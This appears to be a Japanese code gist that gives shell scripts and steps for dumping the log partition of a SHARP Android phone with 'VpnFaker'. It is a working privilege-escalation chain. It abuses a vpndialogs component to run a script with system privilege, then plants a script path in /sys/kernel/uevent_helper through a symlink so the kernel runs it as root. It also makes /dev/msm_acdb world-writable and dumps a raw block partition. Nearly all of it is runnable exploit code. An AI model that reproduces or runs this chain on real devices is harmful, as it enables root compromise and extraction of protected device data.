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VpnFakerを使ってSHARP端末のlogパーティションをダンプする。
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#!/system/bin/sh | |
/data/local/tmp/busybox test -f /data/local/tmp/log.img.gz && exit 0 | |
/data/local/tmp/busybox dd if=/dev/block/platform/msm_sdcc.1/by-name/log | /data/local/tmp/busybox gzip -c > /data/local/tmp/log.img.gz |
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- logパーティションのダンプ | |
1. root権限で動作するスクリプトを用意 | |
ディレクトリ: /data/local/tmp | |
ファイル名: get-log.sh | |
パーミッション: 755 | |
2. system権限で動作するスクリプトを用意 | |
ディレクトリ: /data/local/tmp | |
ファイル名: onBoot | |
パーミッション: 755 | |
3. system権限で動作するスクリプトを実行 | |
$ am start -n com.android.vpndialogs/.AutoexecRun | |
4. 再起動し、動作を確認 | |
$ ls -l /sys/kernel/uevent_helper | |
-rw-r--r-- system root 4096 2013-10-11 07:59 uevent_helper | |
$ cat /sys/kernel/uevent_helper | |
/data/local/tmp/get-log.sh | |
5. logパーティションのダンプを取得 | |
ファイル/data/local/tmp/log.img.gzを削除して電源ボタンを押す。 | |
すると再び/data/local/tmp/log.img.gzが出来るので、これを取り出す。 |
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#!/system/bin/sh | |
/data/local/tmp/busybox chmod 666 /dev/msm_acdb | |
/data/local/tmp/busybox mkdir /data/usf | |
/data/local/tmp/busybox chown 1000 /data/usf | |
/data/local/tmp/busybox mv -i /data/usf/form_factor.cfg /data/usf/form_factor.cfg.bak < /dev/null | |
/data/local/tmp/busybox rm -f /data/usf/form_factor.cfg | |
/data/local/tmp/busybox ln -s /sys/kernel/uevent_helper /data/usf/aaa | |
/data/local/tmp/busybox echo /data/local/tmp/get-log.sh > /sys/kernel/uevent_helper |
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